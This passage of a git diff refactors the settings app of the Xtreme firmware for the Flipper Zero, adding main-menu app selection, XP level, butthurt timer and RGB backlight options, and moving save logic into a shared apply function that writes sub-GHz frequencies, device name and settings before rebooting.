+ app->require_reboot = true; + scene_manager_previous_scene(app->scene_manager); + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceMainmenu); + break; + case VarItemListIndexAddApp: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterfaceMainmenuAdd); + break; + default: + break; + } + } + + return consumed; +} + +void xtreme_app_scene_interface_mainmenu_on_exit(void* context) { + XtremeApp* app = context; + variable_item_list_reset(app->var_item_list); +} diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_add.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_add.c new file mode 100644 index 000000000..cc866ce00 --- /dev/null +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_mainmenu_add.c @@ -0,0 +1,68 @@ +#include "../xtreme_app.h" + +enum FileBrowserResult { + FileBrowserResultOk, +}; + +static bool xtreme_app_scene_interface_mainmenu_add_file_browser_callback( + FuriString* file_path, + void* context, + uint8_t** icon_ptr, + FuriString* item_name) { + XtremeApp* app = context; + if(furi_string_end_with(file_path, app->fap_name)) return false; + Storage* storage = furi_record_open(RECORD_STORAGE); + bool success = fap_loader_load_name_and_icon(file_path, storage, icon_ptr, item_name); + furi_record_close(RECORD_STORAGE); + return success; +} + +void xtreme_app_scene_interface_mainmenu_add_on_enter(void* context) { + XtremeApp* app = context; + FuriString* string = furi_string_alloc_set_str(EXT_PATH("apps")); + + const DialogsFileBrowserOptions browser_options = { + .extension = ".fap", + .skip_assets = true, + .hide_ext = true, + .item_loader_callback = xtreme_app_scene_interface_mainmenu_add_file_browser_callback, + .item_loader_context = app, + .base_path = EXT_PATH("apps"), + }; + + if(dialog_file_browser_show(app->dialogs, string, string, &browser_options)) { + CharList_push_back(app->mainmenu_app_paths, strdup(furi_string_get_cstr(string))); + Storage* storage = furi_record_open(RECORD_STORAGE); + fap_loader_load_name_and_icon(string, storage, NULL, string); + furi_record_close(RECORD_STORAGE); + CharList_push_back(app->mainmenu_app_names, strdup(furi_string_get_cstr(string))); + app->save_mainmenu_apps = true; + app->require_reboot = true; + } + + furi_string_free(string); + + view_dispatcher_send_custom_event(app->view_dispatcher, FileBrowserResultOk); +} + +bool xtreme_app_scene_interface_mainmenu_add_on_event(void* context, SceneManagerEvent event) { + XtremeApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + consumed = true; + switch(event.event) { + case FileBrowserResultOk: + scene_manager_previous_scene(app->scene_manager); + break; + default: + break; + } + } + + return consumed; +} + +void xtreme_app_scene_interface_mainmenu_add_on_exit(void* context) { + UNUSED(context); +} diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_statusbar.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c similarity index 66% rename from applications/main/xtreme_app/scenes/xtreme_app_scene_statusbar.c rename to applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c index 48d7e6484..b0f6f9a05 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_statusbar.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_statusbar.c @@ -4,17 +4,17 @@ enum VarItemListIndex { VarItemListIndexBatteryIcon, VarItemListIndexStatusIcons, VarItemListIndexBarBorders, - VarItemListIndexbarBackground, + VarItemListIndexBarBackground, }; -void xtreme_app_scene_statusbar_var_item_list_callback(void* context, uint32_t index) { +void xtreme_app_scene_interface_statusbar_var_item_list_callback(void* context, uint32_t index) { XtremeApp* app = context; view_dispatcher_send_custom_event(app->view_dispatcher, index); } const char* const battery_icon_names[] = {"OFF", "Bar", "%", "Inv. %", "Retro 3", "Retro 5", "Bar %"}; -static void xtreme_app_scene_statusbar_battery_icon_changed(VariableItem* item) { +static void xtreme_app_scene_interface_statusbar_battery_icon_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, battery_icon_names[index]); @@ -22,7 +22,7 @@ static void xtreme_app_scene_statusbar_battery_icon_changed(VariableItem* item) app->save_settings = true; } -static void xtreme_app_scene_statusbar_status_icons_changed(VariableItem* item) { +static void xtreme_app_scene_interface_statusbar_status_icons_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); @@ -30,7 +30,7 @@ static void xtreme_app_scene_statusbar_status_icons_changed(VariableItem* item) app->save_settings = true; } -static void xtreme_app_scene_statusbar_bar_borders_changed(VariableItem* item) { +static void xtreme_app_scene_interface_statusbar_bar_borders_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); @@ -38,7 +38,7 @@ static void xtreme_app_scene_statusbar_bar_borders_changed(VariableItem* item) { app->save_settings = true; } -static void xtreme_app_scene_statusbar_bar_background_changed(VariableItem* item) { +static void xtreme_app_scene_interface_statusbar_bar_background_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); bool value = variable_item_get_current_value_index(item); variable_item_set_current_value_text(item, value ? "ON" : "OFF"); @@ -46,7 +46,7 @@ static void xtreme_app_scene_statusbar_bar_background_changed(VariableItem* item app->save_settings = true; } -void xtreme_app_scene_statusbar_on_enter(void* context) { +void xtreme_app_scene_interface_statusbar_on_enter(void* context) { XtremeApp* app = context; XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; @@ -56,41 +56,55 @@ void xtreme_app_scene_statusbar_on_enter(void* context) { var_item_list, "Battery Icon", BatteryIconCount, - xtreme_app_scene_statusbar_battery_icon_changed, + xtreme_app_scene_interface_statusbar_battery_icon_changed, app); variable_item_set_current_value_index(item, xtreme_settings->battery_icon); variable_item_set_current_value_text(item, battery_icon_names[xtreme_settings->battery_icon]); item = variable_item_list_add( - var_item_list, "Status Icons", 2, xtreme_app_scene_statusbar_status_icons_changed, app); + var_item_list, + "Status Icons", + 2, + xtreme_app_scene_interface_statusbar_status_icons_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->status_icons); variable_item_set_current_value_text(item, xtreme_settings->status_icons ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "Bar Borders", 2, xtreme_app_scene_statusbar_bar_borders_changed, app); + var_item_list, + "Bar Borders", + 2, + xtreme_app_scene_interface_statusbar_bar_borders_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->bar_borders); variable_item_set_current_value_text(item, xtreme_settings->bar_borders ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "Bar Background", 2, xtreme_app_scene_statusbar_bar_background_changed, app); + var_item_list, + "Bar Background", + 2, + xtreme_app_scene_interface_statusbar_bar_background_changed, + app); variable_item_set_current_value_index(item, xtreme_settings->bar_background); variable_item_set_current_value_text(item, xtreme_settings->bar_background ? "ON" : "OFF"); variable_item_list_set_enter_callback( - var_item_list, xtreme_app_scene_statusbar_var_item_list_callback, app); + var_item_list, xtreme_app_scene_interface_statusbar_var_item_list_callback, app); variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneStatusbar)); + var_item_list, + scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneInterfaceStatusbar)); view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewVarItemList); } -bool xtreme_app_scene_statusbar_on_event(void* context, SceneManagerEvent event) { +bool xtreme_app_scene_interface_statusbar_on_event(void* context, SceneManagerEvent event) { XtremeApp* app = context; bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneStatusbar, event.event); + scene_manager_set_scene_state( + app->scene_manager, XtremeAppSceneInterfaceStatusbar, event.event); consumed = true; switch(event.event) { default: @@ -101,7 +115,7 @@ bool xtreme_app_scene_statusbar_on_event(void* context, SceneManagerEvent event) return consumed; } -void xtreme_app_scene_statusbar_on_exit(void* context) { +void xtreme_app_scene_interface_statusbar_on_exit(void* context) { XtremeApp* app = context; variable_item_list_reset(app->var_item_list); } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c index 030256be0..fbd7e0248 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c @@ -1,11 +1,11 @@ #include "../xtreme_app.h" enum VarItemListIndex { - VarItemListIndexSortDirsFirst, VarItemListIndexChangeDeviceName, - VarItemListIndexExperimentalOptions, - VarItemListIndexDarkMode, - VarItemListIndexLeftHanded, + VarItemListIndexXpLevel, + VarItemListIndexButthurtTimer, + VarItemListIndexRgbBacklight, + VarItemListIndexLcdColor, }; void xtreme_app_scene_misc_var_item_list_callback(void* context, uint32_t index) { @@ -13,28 +13,35 @@ void xtreme_app_scene_misc_var_item_list_callback(void* context, uint32_t index) view_dispatcher_send_custom_event(app->view_dispatcher, index); } -static void xtreme_app_scene_misc_sort_dirs_first_changed(VariableItem* item) { +static void xtreme_app_scene_misc_xp_level_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); - bool value = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->sort_dirs_first = value; - app->save_settings = true; + app->xp_level = variable_item_get_current_value_index(item) + 1; + char level_str[4]; + snprintf(level_str, 4, "%li", app->xp_level); + variable_item_set_current_value_text(item, level_str); + app->save_level = true; } -static void xtreme_app_scene_misc_dark_mode_changed(VariableItem* item) { +const char* const butthurt_timer_names[] = + {"OFF", "30 M", "1 H", "2 H", "4 H", "6 H", "8 H", "12 H", "24 H", "48 H"}; +const int32_t butthurt_timer_values[COUNT_OF(butthurt_timer_names)] = + {-1, 1800, 3600, 7200, 14400, 21600, 28800, 43200, 86400, 172800}; +static void xtreme_app_scene_misc_butthurt_timer_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); - bool value = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->dark_mode = value; + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, butthurt_timer_names[index]); + XTREME_SETTINGS()->butthurt_timer = butthurt_timer_values[index]; app->save_settings = true; + app->require_reboot = true; } -static void xtreme_app_scene_misc_left_handed_changed(VariableItem* item) { +static void xtreme_app_scene_misc_lcd_color_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); - bool value = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->left_handed = value; - app->save_settings = true; + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, rgb_backlight_get_color_text(index)); + rgb_backlight_set_color(index); + app->save_backlight = true; + notification_message(app->notification, &sequence_display_backlight_on); } void xtreme_app_scene_misc_on_enter(void* context) { @@ -42,25 +49,45 @@ void xtreme_app_scene_misc_on_enter(void* context) { XtremeSettings* xtreme_settings = XTREME_SETTINGS(); VariableItemList* var_item_list = app->var_item_list; VariableItem* item; - - item = variable_item_list_add( - var_item_list, "Sort Dirs First", 2, xtreme_app_scene_misc_sort_dirs_first_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->sort_dirs_first); - variable_item_set_current_value_text(item, xtreme_settings->sort_dirs_first ? "ON" : "OFF"); + uint8_t value_index; variable_item_list_add(var_item_list, "Change Device Name", 0, NULL, app); - variable_item_list_add(var_item_list, " Experimental Options:", 0, NULL, app); + char level_str[4]; + snprintf(level_str, 4, "%li", app->xp_level); + item = variable_item_list_add( + var_item_list, + "XP Level", + DOLPHIN_LEVEL_COUNT + 1, + xtreme_app_scene_misc_xp_level_changed, + app); + variable_item_set_current_value_index(item, app->xp_level - 1); + variable_item_set_current_value_text(item, level_str); item = variable_item_list_add( - var_item_list, "Dark Mode", 2, xtreme_app_scene_misc_dark_mode_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->dark_mode); - variable_item_set_current_value_text(item, xtreme_settings->dark_mode ? "ON" : "OFF"); + var_item_list, + "Butthurt Timer", + COUNT_OF(butthurt_timer_names), + xtreme_app_scene_misc_butthurt_timer_changed, + app); + value_index = value_index_int32( + xtreme_settings->butthurt_timer, butthurt_timer_values, COUNT_OF(butthurt_timer_names)); + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, butthurt_timer_names[value_index]); + + item = variable_item_list_add(var_item_list, "RGB Backlight", 1, NULL, app); + variable_item_set_current_value_text(item, xtreme_settings->rgb_backlight ? "ON" : "OFF"); item = variable_item_list_add( - var_item_list, "Left Handed", 2, xtreme_app_scene_misc_left_handed_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->left_handed); - variable_item_set_current_value_text(item, xtreme_settings->left_handed ? "ON" : "OFF"); + var_item_list, + "LCD Color", + rgb_backlight_get_color_count(), + xtreme_app_scene_misc_lcd_color_changed, + app); + value_index = rgb_backlight_get_settings()->display_color_index; + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, rgb_backlight_get_color_text(value_index)); + variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!"); variable_item_list_set_enter_callback( var_item_list, xtreme_app_scene_misc_var_item_list_callback, app); @@ -82,6 +109,33 @@ bool xtreme_app_scene_misc_on_event(void* context, SceneManagerEvent event) { case VarItemListIndexChangeDeviceName: scene_manager_next_scene(app->scene_manager, XtremeAppSceneMiscRename); break; + case VarItemListIndexRgbBacklight: { + bool change = XTREME_SETTINGS()->rgb_backlight; + if(!change) { + DialogMessage* msg = dialog_message_alloc(); + dialog_message_set_header(msg, "RGB Backlight", 64, 0, AlignCenter, AlignTop); + dialog_message_set_buttons(msg, "No", NULL, "Yes"); + dialog_message_set_text( + msg, + "This option requires installing\na hardware modification!\nIs it installed?", + 64, + 32, + AlignCenter, + AlignCenter); + if(dialog_message_show(app->dialogs, msg) == DialogMessageButtonRight) { + change = true; + } + dialog_message_free(msg); + } + if(change) { + XTREME_SETTINGS()->rgb_backlight = !XTREME_SETTINGS()->rgb_backlight; + app->save_settings = true; + notification_message(app->notification, &sequence_display_backlight_on); + scene_manager_previous_scene(app->scene_manager); + scene_manager_next_scene(app->scene_manager, XtremeAppSceneMisc); + } + break; + } default: break; } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_add.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_add.c index 21b29e295..88e421147 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_add.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_add.c @@ -17,9 +17,9 @@ static void xtreme_app_scene_protocols_frequencies_add_text_input_callback(void* bool is_hopper = scene_manager_get_scene_state(app->scene_manager, XtremeAppSceneProtocolsFrequenciesAdd); if(is_hopper) { - FrequencyList_push_back(app->subghz_hopper_frequencies, value); + FrequencyList_push_back(app->subghz_hopper_freqs, value); } else { - FrequencyList_push_back(app->subghz_static_frequencies, value); + FrequencyList_push_back(app->subghz_static_freqs, value); } app->save_subghz_frequencies = true; view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c index 24c7fe3cc..b9e387252 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_hopper.c @@ -2,7 +2,7 @@ enum VarItemListIndex { VarItemListIndexHopperFrequency, - VarItemListIndexDeleteHopperFreq, + VarItemListIndexRemoveHopperFreq, VarItemListIndexAddHopperFreq, }; @@ -16,7 +16,7 @@ void xtreme_app_scene_protocols_frequencies_hopper_var_item_list_callback( static void xtreme_app_scene_protocols_frequencies_hopper_frequency_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); app->subghz_hopper_index = variable_item_get_current_value_index(item); - uint32_t value = *FrequencyList_get(app->subghz_hopper_frequencies, app->subghz_hopper_index); + uint32_t value = *FrequencyList_get(app->subghz_hopper_freqs, app->subghz_hopper_index); char text[10] = {0}; snprintf(text, sizeof(text), "%lu.%02lu", value / 1000000, (value % 1000000) / 10000); variable_item_set_current_value_text(item, text); @@ -30,14 +30,13 @@ void xtreme_app_scene_protocols_frequencies_hopper_on_enter(void* context) { item = variable_item_list_add( var_item_list, "Hopper Freq", - FrequencyList_size(app->subghz_hopper_frequencies), + FrequencyList_size(app->subghz_hopper_freqs), xtreme_app_scene_protocols_frequencies_hopper_frequency_changed, app); app->subghz_hopper_index = 0; variable_item_set_current_value_index(item, app->subghz_hopper_index); - if(FrequencyList_size(app->subghz_hopper_frequencies)) { - uint32_t value = - *FrequencyList_get(app->subghz_hopper_frequencies, app->subghz_hopper_index); + if(FrequencyList_size(app->subghz_hopper_freqs)) { + uint32_t value = *FrequencyList_get(app->subghz_hopper_freqs, app->subghz_hopper_index); char text[10] = {0}; snprintf(text, sizeof(text), "%lu.%02lu", value / 1000000, (value % 1000000) / 10000); variable_item_set_current_value_text(item, text); @@ -45,7 +44,7 @@ void xtreme_app_scene_protocols_frequencies_hopper_on_enter(void* context) { variable_item_set_current_value_text(item, "None"); } - variable_item_list_add(var_item_list, "Delete Hopper Freq", 0, NULL, app); + variable_item_list_add(var_item_list, "Remove Hopper Freq", 0, NULL, app); variable_item_list_add(var_item_list, "Add Hopper Freq", 0, NULL, app); @@ -69,15 +68,15 @@ bool xtreme_app_scene_protocols_frequencies_hopper_on_event(void* context, Scene app->scene_manager, XtremeAppSceneProtocolsFrequenciesHopper, event.event); consumed = true; switch(event.event) { - case VarItemListIndexDeleteHopperFreq: - if(!FrequencyList_size(app->subghz_hopper_frequencies)) break; + case VarItemListIndexRemoveHopperFreq: + if(!FrequencyList_size(app->subghz_hopper_freqs)) break; uint32_t value = - *FrequencyList_get(app->subghz_hopper_frequencies, app->subghz_hopper_index); + *FrequencyList_get(app->subghz_hopper_freqs, app->subghz_hopper_index); FrequencyList_it_t it; - FrequencyList_it(it, app->subghz_hopper_frequencies); + FrequencyList_it(it, app->subghz_hopper_freqs); while(!FrequencyList_end_p(it)) { if(*FrequencyList_ref(it) == value) { - FrequencyList_remove(app->subghz_hopper_frequencies, it); + FrequencyList_remove(app->subghz_hopper_freqs, it); } else { FrequencyList_next(it); } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c index 4d70a1a58..b50c1f896 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_protocols_frequencies_static.c @@ -2,7 +2,7 @@ enum VarItemListIndex { VarItemListIndexStaticFrequency, - VarItemListIndexDeleteStaticFreq, + VarItemListIndexRemoveStaticFreq, VarItemListIndexAddStaticFreq, }; @@ -16,7 +16,7 @@ void xtreme_app_scene_protocols_frequencies_static_var_item_list_callback( static void xtreme_app_scene_protocols_frequencies_static_frequency_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); app->subghz_static_index = variable_item_get_current_value_index(item); - uint32_t value = *FrequencyList_get(app->subghz_static_frequencies, app->subghz_static_index); + uint32_t value = *FrequencyList_get(app->subghz_static_freqs, app->subghz_static_index); char text[10] = {0}; snprintf(text, sizeof(text), "%lu.%02lu", value / 1000000, (value % 1000000) / 10000); variable_item_set_current_value_text(item, text); @@ -30,14 +30,13 @@ void xtreme_app_scene_protocols_frequencies_static_on_enter(void* context) { item = variable_item_list_add( var_item_list, "Static Freq", - FrequencyList_size(app->subghz_static_frequencies), + FrequencyList_size(app->subghz_static_freqs), xtreme_app_scene_protocols_frequencies_static_frequency_changed, app); app->subghz_static_index = 0; variable_item_set_current_value_index(item, app->subghz_static_index); - if(FrequencyList_size(app->subghz_static_frequencies)) { - uint32_t value = - *FrequencyList_get(app->subghz_static_frequencies, app->subghz_static_index); + if(FrequencyList_size(app->subghz_static_freqs)) { + uint32_t value = *FrequencyList_get(app->subghz_static_freqs, app->subghz_static_index); char text[10] = {0}; snprintf(text, sizeof(text), "%lu.%02lu", value / 1000000, (value % 1000000) / 10000); variable_item_set_current_value_text(item, text); @@ -45,7 +44,7 @@ void xtreme_app_scene_protocols_frequencies_static_on_enter(void* context) { variable_item_set_current_value_text(item, "None"); } - variable_item_list_add(var_item_list, "Delete Static Freq", 0, NULL, app); + variable_item_list_add(var_item_list, "Remove Static Freq", 0, NULL, app); variable_item_list_add(var_item_list, "Add Static Freq", 0, NULL, app); @@ -69,15 +68,15 @@ bool xtreme_app_scene_protocols_frequencies_static_on_event(void* context, Scene app->scene_manager, XtremeAppSceneProtocolsFrequenciesStatic, event.event); consumed = true; switch(event.event) { - case VarItemListIndexDeleteStaticFreq: - if(!FrequencyList_size(app->subghz_static_frequencies)) break; + case VarItemListIndexRemoveStaticFreq: + if(!FrequencyList_size(app->subghz_static_freqs)) break; uint32_t value = - *FrequencyList_get(app->subghz_static_frequencies, app->subghz_static_index); + *FrequencyList_get(app->subghz_static_freqs, app->subghz_static_index); FrequencyList_it_t it; - FrequencyList_it(it, app->subghz_static_frequencies); + FrequencyList_it(it, app->subghz_static_freqs); while(!FrequencyList_end_p(it)) { if(*FrequencyList_ref(it) == value) { - FrequencyList_remove(app->subghz_static_frequencies, it); + FrequencyList_remove(app->subghz_static_freqs, it); } else { FrequencyList_next(it); } diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c index c1c7659fc..fabd7ce6c 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_start.c @@ -1,11 +1,10 @@ #include "../xtreme_app.h" enum VarItemListIndex { - VarItemListIndexGraphics, - VarItemListIndexStatusbar, + VarItemListIndexInterface, VarItemListIndexProtocols, - VarItemListIndexDolphin, VarItemListIndexMisc, + VarItemListIndexVersion, }; void xtreme_app_scene_start_var_item_list_callback(void* context, uint32_t index) { @@ -17,12 +16,9 @@ void xtreme_app_scene_start_on_enter(void* context) { XtremeApp* app = context; VariableItemList* var_item_list = app->var_item_list; - variable_item_list_add(var_item_list, "Graphics", 0, NULL, app); - variable_item_list_add(var_item_list, "Statusbar", 0, NULL, app); + variable_item_list_add(var_item_list, "Interface", 0, NULL, app); variable_item_list_add(var_item_list, "Protocols", 0, NULL, app); - variable_item_list_add(var_item_list, "Dolphin", 0, NULL, app); variable_item_list_add(var_item_list, "Misc", 0, NULL, app); - variable_item_list_add(var_item_list, furi_string_get_cstr(app->version_tag), 0, NULL, app); variable_item_list_set_enter_callback( @@ -42,21 +38,25 @@ bool xtreme_app_scene_start_on_event(void* context, SceneManagerEvent event) { scene_manager_set_scene_state(app->scene_manager, XtremeAppSceneStart, event.event); consumed = true; switch(event.event) { - case VarItemListIndexGraphics: - scene_manager_next_scene(app->scene_manager, XtremeAppSceneGraphics); - break; - case VarItemListIndexStatusbar: - scene_manager_next_scene(app->scene_manager, XtremeAppSceneStatusbar); + case VarItemListIndexInterface: + scene_manager_next_scene(app->scene_manager, XtremeAppSceneInterface); break; case VarItemListIndexProtocols: scene_manager_next_scene(app->scene_manager, XtremeAppSceneProtocols); break; - case VarItemListIndexDolphin: - scene_manager_next_scene(app->scene_manager, XtremeAppSceneDolphin); - break; case VarItemListIndexMisc: scene_manager_next_scene(app->scene_manager, XtremeAppSceneMisc); break; + case VarItemListIndexVersion: { + if(storage_common_copy( + furi_record_open(RECORD_STORAGE), + EXT_PATH("dolphin/xfwfirstboot.bin"), + EXT_PATH(".slideshow"))) { + app->show_slideshow = true; + xtreme_app_apply(app); + } + break; + } default: break; } diff --git a/applications/main/xtreme_app/xtreme_app.c b/applications/main/xtreme_app/xtreme_app.c index fa66a8d52..005d4ece1 100644 --- a/applications/main/xtreme_app/xtreme_app.c +++ b/applications/main/xtreme_app/xtreme_app.c @@ -11,112 +11,136 @@ void callback_reboot(void* context) { power_reboot(PowerBootModeNormal); } +bool xtreme_app_apply(XtremeApp* app) { + Storage* storage = furi_record_open(RECORD_STORAGE); + + if(app->save_mainmenu_apps) { + Stream* stream = file_stream_alloc(storage); + if(file_stream_open(stream, XTREME_APPS_PATH, FSAM_READ_WRITE, FSOM_CREATE_ALWAYS)) { + CharList_it_t it; + CharList_it(it, app->mainmenu_app_paths); + for(uint i = 0; i < CharList_size(app->mainmenu_app_paths); i++) { + stream_write_format(stream, "%s\n", *CharList_get(app->mainmenu_app_paths, i)); + } + } + file_stream_close(stream); + stream_free(stream); + } + + if(app->save_subghz_frequencies) { + FlipperFormat* file = flipper_format_file_alloc(storage); + do { + FrequencyList_it_t it; + if(!flipper_format_file_open_always(file, EXT_PATH("subghz/assets/setting_user"))) + break; + + if(!flipper_format_write_header_cstr( + file, SUBGHZ_SETTING_FILE_TYPE, SUBGHZ_SETTING_FILE_VERSION)) + break; + + while(flipper_format_delete_key(file, "Add_standard_frequencies")) + ; + flipper_format_write_bool( + file, "Add_standard_frequencies", &app->subghz_use_defaults, 1); + + if(!flipper_format_rewind(file)) break; + while(flipper_format_delete_key(file, "Frequency")) + ; + FrequencyList_it(it, app->subghz_static_freqs); + for(uint i = 0; i < FrequencyList_size(app->subghz_static_freqs); i++) { + flipper_format_write_uint32( + file, "Frequency", FrequencyList_get(app->subghz_static_freqs, i), 1); + } + + if(!flipper_format_rewind(file)) break; + while(flipper_format_delete_key(file, "Hopper_frequency")) + ; + for(uint i = 0; i < FrequencyList_size(app->subghz_hopper_freqs); i++) { + flipper_format_write_uint32( + file, "Hopper_frequency", FrequencyList_get(app->subghz_hopper_freqs, i), 1); + } + } while(false); + flipper_format_free(file); + } + + if(app->save_subghz) { + furi_hal_subghz_set_extend_settings(app->subghz_extend, app->subghz_bypass); + } + + if(app->save_name) { + if(strcmp(app->device_name, "") == 0) { + storage_simply_remove(storage, NAMECHANGER_PATH); + } else { + FlipperFormat* file = flipper_format_file_alloc(storage); + + do { + if(!flipper_format_file_open_always(file, NAMECHANGER_PATH)) break; + + if(!flipper_format_write_header_cstr(file, NAMECHANGER_HEADER, 1)) break; + + if(!flipper_format_write_comment_cstr( + file, "Changing the value below will change your FlipperZero device name.")) + break; + if(!flipper_format_write_comment_cstr( + file, + "Note: This is limited to 8 characters using the following: a-z, A-Z, 0-9, and _")) + break; + if(!flipper_format_write_comment_cstr( + file, "It cannot contain any other characters.")) + break; + + if(!flipper_format_write_string_cstr(file, "Name", app->device_name)) break; + + } while(0); + + flipper_format_free(file); + } + } + + if(app->save_level) { + Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); + int32_t xp = app->xp_level > 1 ? dolphin_get_levels()[app->xp_level - 2] : 0; + dolphin->state->data.icounter = xp + 1; + dolphin->state->dirty = true; + dolphin_state_save(dolphin->state); + furi_record_close(RECORD_DOLPHIN); + } + + if(app->save_backlight) { + rgb_backlight_save_settings(); + } + + if(app->save_settings) { + XTREME_SETTINGS_SAVE(); + } + + if(app->show_slideshow) { + callback_reboot(NULL); + } + + if(app->require_reboot) { + popup_set_header(app->popup, "Rebooting...", 64, 26, AlignCenter, AlignCenter); + popup_set_text(app->popup, "Applying changes...", 64, 40, AlignCenter, AlignCenter); + popup_set_callback(app->popup, callback_reboot); + popup_set_context(app->popup, app); + popup_set_timeout(app->popup, 1000); + popup_enable_timeout(app->popup); + view_dispatcher_switch_to_view(app->view_dispatcher, XtremeAppViewPopup); + return true; + } + + furi_record_close(RECORD_STORAGE); + return false; +} + static bool xtreme_app_back_event_callback(void* context) { furi_assert(context); XtremeApp* app = context; if(!scene_manager_has_previous_scene(app->scene_manager, XtremeAppSceneStart)) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - if(app->save_subghz) { - furi_hal_subghz_set_extend_settings(app->subghz_extend, app->subghz_bypass); - } - - if(app->save_subghz_frequencies) { - FlipperFormat* file = flipper_format_file_alloc(storage); - do { - FrequencyList_it_t it; - if(!flipper_format_file_open_always(file, EXT_PATH("subghz/assets/setting_user"))) - break; - - if(!flipper_format_write_header_cstr( - file, SUBGHZ_SETTING_FILE_TYPE, SUBGHZ_SETTING_FILE_VERSION)) - break; - - while(flipper_format_delete_key(file, "Add_standard_frequencies")) - ; - flipper_format_write_bool( - file, "Add_standard_frequencies", &app->subghz_use_defaults, 1); - - if(!flipper_format_rewind(file)) break; - while(flipper_format_delete_key(file, "Frequency")) - ; - FrequencyList_it(it, app->subghz_static_frequencies); - for(uint i = 0; i < FrequencyList_size(app->subghz_static_frequencies); i++) { - flipper_format_write_uint32( - file, "Frequency", FrequencyList_get(app->subghz_static_frequencies, i), 1); - } - - if(!flipper_format_rewind(file)) break; - while(flipper_format_delete_key(file, "Hopper_frequency")) - ; - for(uint i = 0; i < FrequencyList_size(app->subghz_hopper_frequencies); i++) { - flipper_format_write_uint32( - file, - "Hopper_frequency", - FrequencyList_get(app->subghz_hopper_frequencies, i), - 1); - } - } while(false); - flipper_format_free(file); - } - - if(app->save_level) { - Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); - int xp = app->dolphin_level > 1 ? dolphin_get_levels()[app->dolphin_level - 2] : 0; - dolphin->state->data.icounter = xp + 1; - dolphin->state->dirty = true; - dolphin_state_save(dolphin->state); - furi_record_close(RECORD_DOLPHIN); - } - - if(app->save_name) { - if(strcmp(app->device_name, "") == 0) { - storage_simply_remove(storage, NAMECHANGER_PATH); - } else { - FlipperFormat* file = flipper_format_file_alloc(storage); - - do { - 